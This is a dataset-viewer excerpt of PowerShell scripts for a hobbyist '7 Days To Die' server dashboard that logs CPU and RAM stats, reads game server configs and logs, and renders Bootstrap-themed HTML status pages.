Search is not available for this dataset
filename
stringlengths
5
114
module_name
stringlengths
8
67
content
stringlengths
0
282M
GetStats.ps1
7DWSM-1.4.0
#Set Local Directory Set-Location $PSScriptRoot # Update Uptime Data If(Test-Path "..\webroot\http\data\uptime.json") { # Read JSON From File $JSONArray += $(Get-Content "..\webroot\http\data\uptime.json" | ConvertFrom-JSON) # Get A Count And Only Keep The Last 24 - Keeps a 24 Hour By Hour Record $JSONArray = $JSONArray | Select -Last 23 # Create New Object From Current Stats $NewStat = New-Object -Type PSObject -Property @{ Date = $(Get-Date -F 'MMM-dd-yyyy HH:mm'); CPU = $((Get-WmiObject win32_processor | Measure-Object -property LoadPercentage -Average | Select Average).Average); RAM = $([math]::Round(100 - ($(Get-Ciminstance Win32_OperatingSystem).FreePhysicalMemory / $(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize)*100,2)) } #Log The New Data Write-Host "Added New Uptime Data" Write-Host $NewStat #Add New Stats $JSONArray += $NewStat # Write Stats To File $JSON | ConvertTo-JSON | Out-File "..\webroot\http\data\uptime.json" #Write-Log Add-Content "..\webroot\logs\job-uptime.txt" "Added: $NewStat - $(Get-Date)" } else { # Create New Object From Current Stats $NewStat = New-Object -Type PSObject -Property @{ Date = $(Get-Date -F 'MMM-dd-yyyy HH:mm') CPU = $((Get-WmiObject win32_processor | Measure-Object -property LoadPercentage -Average | Select Average).Average) RAM = $([math]::Round(100 - ($(Get-Ciminstance Win32_OperatingSystem).FreePhysicalMemory / $(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize)*100,2)) } # Write To File $NewStat | ConvertTo-JSON | Out-File "..\webroot\http\data\uptime.json" #Write-Log Add-Content "..\webroot\logs\job-uptime.txt" "Added: $NewStat - $(Get-Date) (Stats File Was Missing, Created New One)" }
controlpanel.ps1
7DWSM-1.4.0
@" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>7 Days To Die - Cindar's World</title> <!--STYLESHEET--> <!--=================================================--> <!--Open Sans Font [ OPTIONAL ]--> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <!--Bootstrap Stylesheet [ REQUIRED ]--> <link href="css/bootstrap.min.css" rel="stylesheet"> <!--Nifty Stylesheet [ REQUIRED ]--> <link href="css/nifty.min.css" rel="stylesheet"> <!--Nifty Premium Icon [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo-icons.min.css" rel="stylesheet"> <!--Demo [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo.min.css" rel="stylesheet"> <!--Morris.js [ OPTIONAL ]--> <link href="plugins/morris-js/morris.min.css" rel="stylesheet"> <!--Magic Checkbox [ OPTIONAL ]--> <link href="plugins/magic-check/css/magic-check.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"> <!--JAVASCRIPT--> <!--=================================================--> <!--Pace - Page Load Progress Par [OPTIONAL]--> <link href="plugins/pace/pace.min.css" rel="stylesheet"> <script src="plugins/pace/pace.min.js"></script> <!--jQuery [ REQUIRED ]--> <script src="js/jquery.min.js"></script> <!--BootstrapJS [ RECOMMENDED ]--> <script src="js/bootstrap.min.js"></script> <!--NiftyJS [ RECOMMENDED ]--> <script src="js/nifty.min.js"></script> <!--=================================================--> <!--Demo script [ DEMONSTRATION ]--> <script src="js/demo/nifty-demo.min.js"></script> <!--Morris.js [ OPTIONAL ]--> <script src="plugins/morris-js/morris.min.js"></script> <script src="plugins/morris-js/raphael-js/raphael.min.js"></script> <!--Sparkline [ OPTIONAL ]--> <script src="plugins/sparkline/jquery.sparkline.min.js"></script> <!--Specify page [ SAMPLE ]--> <script src="js/demo/dashboard.js"></script </head> <!--TIPS--> <!--You may remove all ID or Class names which contain "demo-", they are only used for demonstration. --> <body> <div id="container" class="effect aside-float aside-bright mainnav-lg"> <!--NAVBAR--> <!--===================================================--> <header id="navbar"> <div id="navbar-container" class="boxed"> <!--Brand logo & name--> <!--================================--> <div class="navbar-header"> <a href="index.html" class="navbar-brand"> <img src="img/7dtd_logo.png" class="brand-icon"> <div class="brand-title"> <span class="brand-text">Cindar's World</span> </div> </a> </div> <!--================================--> <!--End brand logo & name--> <!--Navbar Dropdown--> <!--================================--> <div class="navbar-content clearfix"> <ul class="nav navbar-top-links pull-left"> <!--Navigation toggle button--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li class="tgl-menu-btn"> <a class="mainnav-toggle" href="#"> <i class="demo-pli-view-list"></i> </a> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Navigation toogle button--> </ul> <ul class="nav text-center"> <!--Updated Timer--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li> <div class="username">Last Updated: 12/19/2017 14:22</div></center> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Updated Timer--> </ul> </div> <!--================================--> <!--End Navbar Dropdown--> </div> </header> <!--===================================================--> <!--END NAVBAR--> <div class="boxed"> <!--CONTENT CONTAINER--> <!--===================================================--> <div id="content-container"> <!--Page content--> <!--===================================================--> <div id="page-content"> <div class="row"> <div class="col-lg-12"> <iframe src="http://192.168.10.20:8080/" border=0 width=100% height=810></iframe> </div> </div> </div> <!--===================================================--> <!--End page content--> </div> <!--===================================================--> <!--END CONTENT CONTAINER--> <!--MAIN NAVIGATION--> <!--===================================================--> <nav id="mainnav-container"> <div id="mainnav"> <!--Menu--> <!--================================--> <div id="mainnav-menu-wrap"> <div class="nano"> <div class="nano-content"> <!--Widget--> <!--================================--> <div class="mainnav-widget"> <!-- Show the button on collapsed navigation --> <div class="show-small"> <a href="#" data-toggle="menu-widget" data-target="#demo-wg-server"> <i class="demo-pli-monitor-2"></i> </a> </div> <!-- Hide the content on collapsed navigation --> <div id="demo-wg-server" class="hide-small mainnav-widget-content"> <ul class="list-group"> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26900'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Main Server</p> </li> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26901'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Test Server</p> </li> </ul> </div> </div> <!--================================--> <!--End widget--> <ul id="mainnav-menu" class="list-group"> <!--Category name--> <li class="list-header">Navigation</li> <!--Menu list item--> <li> <a href="index.ps1"> <i class="demo-psi-home"></i> <span class="menu-title"> <strong>Dashboard</strong> </span> </a> </li> <!--Menu list item--> <li class="active-link"> <a href="maps.ps1"> <i class="fa fa-map-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Map</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="serverlog.ps1"> <i class="fa fa-file-text-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Log Feed</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="controlpanel.ps1"> <i class="fa fa-terminal" aria-hidden="true"></i> <span class="menu-title"> <strong>Control Panel</strong> </span> </a> </li> </ul> </div> </div> </div> <!--================================--> <!--End menu--> </div> </nav> <!--===================================================--> <!--END MAIN NAVIGATION--> </div> <!-- FOOTER --> <!--===================================================--> <footer id="footer"> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <!-- Remove the class "show-fixed" and "hide-fixed" to make the content always appears. --> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <p class="pad-lft">&#0169; 2017 Sean Davis</p> </footer> <!--===================================================--> <!-- END FOOTER --> <!-- SCROLL PAGE BUTTON --> <!--===================================================--> <button class="scroll-top btn"> <i class="pci-chevron chevron-up"></i> </button> <!--===================================================--> </div> <!--===================================================--> <!-- END OF CONTAINER --> </body> </html> "@
instance.ps1
7DWSM-1.4.0
Function Get-PublicIP { # I am defining website url in a variable $url = "http://checkip.dyndns.com" # Creating a new .Net Object names a System.Net.Webclient $webclient = New-Object System.Net.WebClient # In this new webdownlader object we are telling $webclient to download the # url $url $Ip = $webclient.DownloadString($url) # Just a simple text manuplation to get the ipadress form downloaded URL # If you want to know what it contain try to see the variable $Ip $Ip2 = $Ip.ToString() $ip3 = $Ip2.Split(" ") $ip4 = $ip3[5] $ip5 = $ip4.replace("</body>","") $FinalIPAddress = $ip5.replace("</html>","") #Write Ip Addres to the console return $FinalIPAddress } Function Get-ServerUptime { Param($NumberOfDays = 30, [switch]$debug) if($debug) { $DebugPreference = " continue" } [timespan]$uptime = New-TimeSpan -start 0 -end 0 $currentTime = get-Date $startUpID = 6005 $shutDownID = 6006 $minutesInPeriod = (24*60)*$NumberOfDays $startingDate = (Get-Date -Hour 00 -Minute 00 -Second 00).adddays(-$numberOfDays) Write-debug "'$uptime $uptime" ; start-sleep -s 1 write-debug "'$currentTime $currentTime" ; start-sleep -s 1 write-debug "'$startingDate $startingDate" ; start-sleep -s 1 $events = Get-EventLog -LogName system | Where-Object { $_.eventID -eq $startUpID -OR $_.eventID -eq $shutDownID ` -and $_.TimeGenerated -ge $startingDate } write-debug "'$events $($events)" ; start-sleep -s 1 $sortedList = New-object system.collections.sortedlist ForEach($event in $events) { $sortedList.Add( $event.timeGenerated, $event.eventID ) } #end foreach event $uptime = $currentTime - $sortedList.keys[$($sortedList.Keys.Count-1)] Write-Debug "Current uptime $uptime" For($item = $sortedList.Count-2 ; $item -ge 0 ; $item -- ) { Write-Debug "$item `t `t $($sortedList.GetByIndex($item)) `t ` $($sortedList.Keys[$item])" if($sortedList.GetByIndex($item) -eq $startUpID) { $uptime += ($sortedList.Keys[$item+1] - $sortedList.Keys[$item]) Write-Debug "adding uptime. `t uptime is now: $uptime" } #end if } #end for item $UpTimeMinutes = $Uptime.TotalMinutes $percentDownTime = "{0:n2}" -f (100 - ($UpTimeMinutes/$minutesInPeriod)*100) $percentUpTime = 100 - $percentDowntime $ServerUptime = New-Object -Type PSObject -Property @{ 'UptimeDaySpan' = $NumberOfDays; 'UpTimeMinutes' = $UpTimeMinutes; 'PercentDowntime' = $percentDowntime; 'PercentUptime' = $percentUpTime; } return $ServerUptime } #Check To See If Server Exists And Required Files Exist Before Trying To Pull stats #Check To See If A Server Instance Has Been Created #Get Players $ActivePlayers = $((Get-ChildItem "C:\Games\7DaysToDie\7DaysToDieServer_Data" | Where {$_.Name -like "*output_log__*"} | Select -Last 1 | Get-Content | Where {$_ -like "*[INF] Player Connected,*"}).Count) - $((Get-ChildItem "C:\SteamGames\7 Days To Die\7DaysToDieServer_Data" | Where {$_.Name -like "*output_log__*"} | Select -Last 1 | Get-Content | Where {$_ -like "*INF Player*disconnected after*"}).Count) $TotalPlayers = 8 #Get Server Configs [xml]$ServerConfig = Get-Content 'C:\Games\7DaysToDie\serverconfig.xml' [xml]$TestServerConfig = Get-Content 'C:\Games\7DaysToDie-Test\serverconfig.xml' $GameSettings = $($ServerInfo | Where {$_ -like "*GamePref.*"}) $TestServerGameSettings = $($TestServerServerInfo | Where {$_ -like "*GamePref.*"}) $ServerInfo = $(Get-ChildItem "C:\Games\7DaysToDie\7DaysToDieServer_Data" | Where {$_.Name -like "*output_log__*"} | Select -Last 1 | Get-Content) $TestServerInfo = $(Get-ChildItem "C:\Games\7DaysToDie-Test\7DaysToDieServer_Data" | Where {$_.Name -like "*output_log__*"} | Select -Last 1 | Get-Content) #Get Connection Info $CPU = $(($ServerInfo | Where {$_ -like "*CPU:*"}) -Split("CPU:"))[1].TrimStart(" ") $RAM = $(($ServerInfo | Where {$_ -like "*RAM:*"}) -Split("RAM:"))[1].TrimStart(" ") $GameVersion = $(($ServerInfo | Where {$_ -like "*INF Version:*"}) -Split("Version"))[1].TrimStart(": ").TrimEnd(" Compatibility") #$TestServerGameVersion = $(($TestServerInfo | Where {$_ -like "*INF Version:*"}) -Split("Version"))[1].TrimStart(": ").TrimEnd(" Compatibility") $GameMode = If($((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'GameModeName'}).Value) -eq "GameModeSurvivalSP") {"Single Player"} Else {"Dedicated (Multiplayer)"} #$TestServerGameMode = If($((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'GameModeName'}).Value) -eq "GameModeSurvivalSP") {"Single Player"} Else {"Dedicated (Multiplayer)"} $GameName = $(($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'GameName'}).Value #$TestServerGameName = $(($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'GameName'}).Value $AccessMode = "Whitelist" $TestServerAccessMode = "Admin Whitelist" $CurrentPlayers = $(($ServerInfo | Where {$_ -like "*[INF] Player Connected,*"}).Count) - $(($ServerInfo | Where {$_ -like "*INF Player*disconnected after*"}).Count) #$TestServerCurrentPlayers = $(($TestServerInfo | Where {$_ -like "*[INF] Player Connected,*"}).Count) - $(($TestServerInfo | Where {$_ -like "*INF Player*disconnected after*"}).Count) - 4 #BUG: THESE STATS WILL NOT SHOW UNTIL FIRST LOGIN, FIND BETTER PLACE OT GET THIS INFO $MaxAllowedPlayers = $($ServerInfo | Where {$_ -like "*INF Maximum allowed players:*"}).Split(":")[3].TrimStart() #$TestServerMaxAllowedPlayers = $($TestServerInfo | Where {$_ -like "*INF Maximum allowed players:*"}).Split(":")[3].TrimStart() #Get 7DTD Server Settings $AirDropFrequency = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'AirDropFrequency'}).Value) $TestServerAirDropFrequency = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'AirDropFrequency'}).Value) $AirDropMarker = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'AirDropMarker'}).Value) $TestServerAirDropMarker = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'AirDropMarker'}).Value) $BedrollDeadZone = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'BedrollDeadZoneSize'}).Value) $TestServerBedrollDeadZone = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'BedRollDeadZoneSize'}).Value) $BlockDurabilityModifier = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'BlockDurabilityModifier'}).Value) $TestServerBlockDurabilityModifier = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'BlockDurabilityModifier'}).Value) $BloodMoonEnemyCount = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'BloodMoonEnemyCount'}).Value) $TestServerBloodMoonEnemyCount = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'BloodMoonEnemyCount'}).Value) $DayLightLength = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DayLightLength'}).Value) $TestServerDayLightLength = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DayLightLength'}).Value) $DayNightLength = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DayNightLength'}).Value) $TestServerDayNightLength = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DayNightLength'}).Value) $DropOnDeath = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DropOnDeath'}).Value) $TestServerDropOnDeath = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DropOnDeath'}).Value) $DropOnQuit = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DropOnQuit'}).Value) $DropOnQuit = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'DropOnQuit'}).Value) $EACEnabled = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'EACEnabled'}).Value) $EACEnabled = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'EACEnabled'}).Value) $EnemyDifficulty = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'EnemyDifficulty'}).Value) $TestServerEnemyDifficulty = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'EnemyDifficulty'}).Value) $EnemySpawnMode = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'EnemySpawnMode'}).Value) $TestServerEnemySpawnMode = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'EnemySpawnMode'}).Value) $GameDifficulty = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'GameDifficulty'}).Value) $TestServerGameDifficulty = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'GameDifficulty'}).Value) $LootAbundance = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'LootAbundance'}).Value) $TestServerLootAbundance = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'LootAbundance'}).Value) $LootRespawnDays = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'LootRespawnDays'}).Value) $TestServerLootRespawnDays = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'LootRespawnDays'}).Value) $MaxSpawnedAnimals = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'MaxSpawnedAnimals'}).Value) $TestServerMaxSpawnedAnimals = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'MaxSpawnedAnimals'}).Value) $MaxSpawnedZombies = $((($ServerConfig.ServerSettings.Property) | Where {$_.Name -like 'MaxSpawnedZombies'}).Value) $TestServerMaxSpawnedZombies = $((($TestServerConfig.ServerSettings.Property) | Where {$_.Name -like 'MaxSpawnedZombies'}).Value) @" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>7 Days To Die - Cindar's World</title> <!--STYLESHEET--> <!--=================================================--> <!--Open Sans Font [ OPTIONAL ]--> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <!--Bootstrap Stylesheet [ REQUIRED ]--> <link href="css/bootstrap.min.css" rel="stylesheet"> <!--Nifty Stylesheet [ REQUIRED ]--> <link href="css/nifty.min.css" rel="stylesheet"> <!--Nifty Premium Icon [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo-icons.min.css" rel="stylesheet"> <!--Demo [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo.min.css" rel="stylesheet"> <!--Morris.js [ OPTIONAL ]--> <link href="plugins/morris-js/morris.min.css" rel="stylesheet"> <!--Magic Checkbox [ OPTIONAL ]--> <link href="plugins/magic-check/css/magic-check.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"> <!--JAVASCRIPT--> <!--=================================================--> <!--Pace - Page Load Progress Par [OPTIONAL]--> <link href="plugins/pace/pace.min.css" rel="stylesheet"> <script src="plugins/pace/pace.min.js"></script> <!--jQuery [ REQUIRED ]--> <script src="js/jquery.min.js"></script> <!--BootstrapJS [ RECOMMENDED ]--> <script src="js/bootstrap.min.js"></script> <!--NiftyJS [ RECOMMENDED ]--> <script src="js/nifty.min.js"></script> <!--=================================================--> <!--Demo script [ DEMONSTRATION ]--> <script src="js/demo/nifty-demo.min.js"></script> <!--Morris.js [ OPTIONAL ]--> <script src="plugins/morris-js/morris.min.js"></script> <script src="plugins/morris-js/raphael-js/raphael.min.js"></script> <!--Sparkline [ OPTIONAL ]--> <script src="plugins/sparkline/jquery.sparkline.min.js"></script> <script> `$(window).on('load', function() { // Server Status chart ( Morris Line Chart ) // ================================================================= // Require MorrisJS Chart // ----------------------------------------------------------------- // http://morrisjs.github.io/morris.js/ // ================================================================= var day_data = $(Get-Content "C:\Program Files\PoSHServer\webroot\http\data\uptime.json"); var chart = Morris.Line({ element : 'morris-chart-uptime', data: day_data, xkey: 'Date', ykeys: ['CPU', 'RAM'], labels: ['CPU', 'RAM'], parseTime: false, resize:true, hideHover: 'auto', postUnits: '%' }); // PLAYERS - SPARKLINE LINE CHART // ================================================================= // Require Sparkline // ----------------------------------------------------------------- // http://omnipotent.net/jquery.sparkline/#s-about // ================================================================= var earningSparkline = function(){ `$("#demo-sparkline-line").sparkline([1,4,3,5,3,5,6,5,4,2,5], { type: 'line', width: '100%', height: '40', spotRadius: 4, lineWidth:1, lineColor:'#ffffff', fillColor: false, minSpotColor :false, maxSpotColor : false, highlightLineColor : '#ffffff', highlightSpotColor: '#ffffff', tooltipChartTitle: 'Active Players', tooltipPrefix :'', spotColor:'#ffffff', valueSpots : { '0:': '#ffffff' } }); } `$(window).on('resizeEnd', function(){ earningSparkline(); }) earningSparkline(); // PANEL OVERLAY // ================================================================= // Require Nifty js // ----------------------------------------------------------------- // http://www.themeon.net // ================================================================= `$('#demo-panel-network-refresh').niftyOverlay().on('click', function(){ var `$el = `$(this), relTime; `$el.niftyOverlay('show'); relTime = setInterval(function(){ `$el.niftyOverlay('hide'); clearInterval(relTime); },2000); }); }); </script> </head> <!--TIPS--> <!--You may remove all ID or Class names which contain "demo-", they are only used for demonstration. --> <body> <div id="container" class="effect aside-float aside-bright mainnav-lg"> <!--NAVBAR--> <!--===================================================--> <header id="navbar"> <div id="navbar-container" class="boxed"> <!--Brand logo & name--> <!--================================--> <div class="navbar-header"> <a href="index.html" class="navbar-brand"> <img src="img/7dtd_logo.png" class="brand-icon"> <div class="brand-title"> <span class="brand-text">Cindar's World</span> </div> </a> </div> <!--================================--> <!--End brand logo & name--> <!--Navbar Dropdown--> <!--================================--> <div class="navbar-content clearfix"> <ul class="nav navbar-top-links pull-left"> <!--Navigation toggle button--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li class="tgl-menu-btn"> <a class="mainnav-toggle" href="#"> <i class="demo-pli-view-list"></i> </a> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Navigation toogle button--> </ul> <ul class="nav text-center"> <!--Updated Timer--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li> <div class="username">Last Updated: $((ls 'C:\Program Files\PoSHServer\webroot\http\data\uptime.json').LastWriteTime)</div></center> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Updated Timer--> </ul> </div> <!--================================--> <!--End Navbar Dropdown--> </div> </header> <!--===================================================--> <!--END NAVBAR--> <div class="boxed"> <!--CONTENT CONTAINER--> <!--===================================================--> <div id="content-container"> <!--Page content--> <!--===================================================--> <div id="page-content"> <div class="row"> <div class="panel panel-primary"> <!--Panel heading--> <div class="panel-heading"> <div class="panel-control"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#connectioninfo">Connection Info</a></li> <li><a data-toggle="tab" href="#serversettings">Server Settings</a></li> </ul> </div> </div> <!--Panel body--> <div class="panel-body"> <!--Tabs content--> <div class="tab-content"> <div id="connectioninfo" class="tab-pane fade in active"> <div class="col-lg-4 pad-all"> <p>Server Specs</p> <p>CPU: $($CPU)</p> <p>RAM: $($RAM)</p> <p>&nbsp;</p> <p>Mod Files:</p> <p> <b><a href="/mods/WOW_Mod.zip" download="WOW_MOD">Click Me For WOW Mod</a></b> <br/>Download and right click and go to properties and click unblock at the bottom. <br/>Then copy all contents into your 7 days to die folder. </p> </div> <div class="col-lg-3 bg-success pad-all"> <p>Primary Server Connection: $(Get-PublicIP):26900</p> <p>Version: $($GameVersion)</p> <p>Game Mode: $($GameMode)</p> <p>Game Name: $($GameName)</p> <p>Access Mode: $($AccessMode)</p> <p>Players: $($CurrentPlayers) / $($MaxAllowedPlayers)</p> </div> <div class="col-lg-1"></div> <div class="col-lg-3 bg-danger pad-all"> <p>Test Server Connection: 7DaysToDie.SeanAsAService.com:26901</p> <p>Version: $($TestServerGameVersion)</p> <p>Game Mode: $($TestServerGameMode)</p> <p>Game Name: $($TestServerGameName)</p> <p>Access Mode: $($TestServerAccessMode)</p> <p>Players: $($TestServerCurrentPlayers) / $($TestServerMaxAllowedPlayers)</p> </div> </div> <div id="serversettings" class="tab-pane fade"> <div class="col-lg-5 pad-all"> <p><b>Primary Server Settings</b></p> <p>Air Drop Frequency: $($AirDropFrequency)</p> <p>Show Air Drop On Map: $($AirDropMarker)</p> <p>Bedroll Dead Zone: $($BedrollDeadZone)</p> <p>Block Durability Modifier: $($BlockDurabilityModifier)</p> <p>Blood Moon Enemy Count: $($BloodMoonEnemyCount)</p> <p>Day Light Length: $($DayLightLength)</p> <p>Day Night Length: $($DayNightLength)</p> <p>Drop On Death: $($DropOnDeath)</p> <p>Drop on Quit: $($DropOnQuit)</p> <p>EAC Enabled: $($EACEnabled)</p> <p>Enemy Difficulty: $($EnemyDifficulty)</p> <p>Enemy Spawn Mode: $($EnemySpawnMode)</p> <p>Game difficulty: $($GameDifficulty)</p> <p>Loot Abundance: $($LootAbundance)</p> <p>Loot Respawn Days: $($LootRespawnDays)</p> <p>Max Spawned Animals: $($MaxSpawnedAnimals)</p> <p>Max Spawned Zombies: $($MaxSpawnedZombies)</p> <p>&nbsp;</p> <p><b>Graphics Settings</b></p> <p>GamePref.NoGraphicsMode = True</p> <p>GamePref.OptionsAA = 0</p> <p>GamePref.OptionsAllowController = True</p> <p>GamePref.OptionsAmbientVolumeLevel = 1</p> <p>GamePref.OptionsAudioOcclusion = False</p> <p>GamePref.OptionsBackgroundGlobalOpacity = 0.75</p> <p>GamePref.OptionsBloom = False</p> <p>GamePref.OptionsControllerVibration = True</p> <p>GamePref.OptionsDeferredLighting = True</p> <p>GamePref.OptionsDOF = False</p> <p>GamePref.OptionsFieldOfView = 50</p> <p>GamePref.OptionsForegroundGlobalOpacity = 1</p> <p>GamePref.OptionsGamma = 0.375</p> <p>GamePref.OptionsGraphicsQuality = 1</p> <p>GamePref.OptionsGrassDistance = 1</p> <p>GamePref.OptionsHudOpacity = 1</p> <p>GamePref.OptionsHudSize = 2</p> <p>GamePref.OptionsImageEffects = False</p> <p>GamePref.OptionsInterfaceSensitivity = 0.75</p> <p>GamePref.OptionsInvertMouse = False</p> <p>GamePref.OptionsLODDistance = 0.5</p> <p>GamePref.OptionsMicVolumeLevel = 0.75</p> <p>GamePref.OptionsMotionBlur = 0</p> <p>GamePref.OptionsMouseSensitivity = 0.5</p> <p>GamePref.OptionsMusicVolumeLevel = 0.5</p> <p>GamePref.OptionsObjectBlur = False</p> <p>GamePref.OptionsOverallAudioVolumeLevel = 1</p> <p>GamePref.OptionsPlayerModel = playerMale</p> <p>GamePref.OptionsPlayerModelTexture = Player/Male/Player_male</p> <p>GamePref.OptionsReflectedShadows = False</p> <p>GamePref.OptionsReflectionBounces = 0</p> <p>GamePref.OptionsReflectionCullList = Default</p> <p>GamePref.OptionsReflectionFarClip = 3000</p> <p>GamePref.OptionsReflectionQuality = 0</p> <p>GamePref.OptionsReflectionRefreshMode = ViaScripting</p> <p>GamePref.OptionsReflectionRefreshRate = 0</p> <p>GamePref.OptionsReflectionShadowDistance = 60</p> <p>GamePref.OptionsReflectionTimeSlicingMode = IndividualFaces</p> <p>GamePref.OptionsResolution = 0</p> <p>GamePref.OptionsScreenBoundsValue = 1</p> <p>GamePref.OptionsShadowDistance = 1</p> <p>GamePref.OptionsShowCompass = True</p> <p>GamePref.OptionsShowCrosshair = True</p> <p>GamePref.OptionsSSAO = False</p> <p>GamePref.OptionsStabSpawnBlocksOnGround = True</p> <p>GamePref.OptionsSunShafts = False</p> <p>GamePref.OptionsTempCelsius = False</p> <p>GamePref.OptionsTextureQuality = 2</p> <p>GamePref.OptionsTreeQuality = 1</p> <p>GamePref.OptionsUMATextureQuality = 1</p> <p>GamePref.OptionsViewDistance = 8</p> </div> <div class="col-lg-1"></div> <div class="col-lg-5 pad-all"> <p><b>Test Server Settings</b></p> <p>Air Drop Frequency: $($TestServerAirDropFrequency)</p> <p>Show Air Drop On Map: $($TestServerAirDropMarker)</p> <p>Bedroll Dead Zone: $($TestServerBedrollDeadZone)</p> <p>Block Durability Modifier: $($TestServerBlockDurabilityModifier)</p> <p>Blood Moon Enemy Count: $($TestServerBloodMoonEnemyCount)</p> <p>Day Light Length: $($TestServerDayLightLength)</p> <p>Day Night Length: $($TestServerDayNightLength)</p> <p>Drop On Death: $($TestServerDropOnDeath)</p> <p>Drop on Quit: $($TestServerDropOnQuit)</p> <p>EAC Enabled: $($TestServerEACEnabled)</p> <p>Enemy Difficulty: $($TestServerEnemyDifficulty)</p> <p>Enemy Spawn Mode: $($TestServerEnemySpawnMode)</p> <p>Game difficulty: $($TestServerGameDifficulty)</p> <p>Loot Abundance: $($TestServerLootAbundance)</p> <p>Loot Respawn Days: $($TestServerLootRespawnDays)</p> <p>Max Spawned Animals: $($TestServerMaxSpawnedAnimals)</p> <p>Max Spawned Zombies: $($TestServerMaxSpawnedZombies)</p> <p>&nbsp;</p> <p><b>Graphics Settings</b></p> <p>GamePref.NoGraphicsMode = True</p> <p>GamePref.OptionsAA = 0</p> <p>GamePref.OptionsAllowController = True</p> <p>GamePref.OptionsAmbientVolumeLevel = 1</p> <p>GamePref.OptionsAudioOcclusion = False</p> 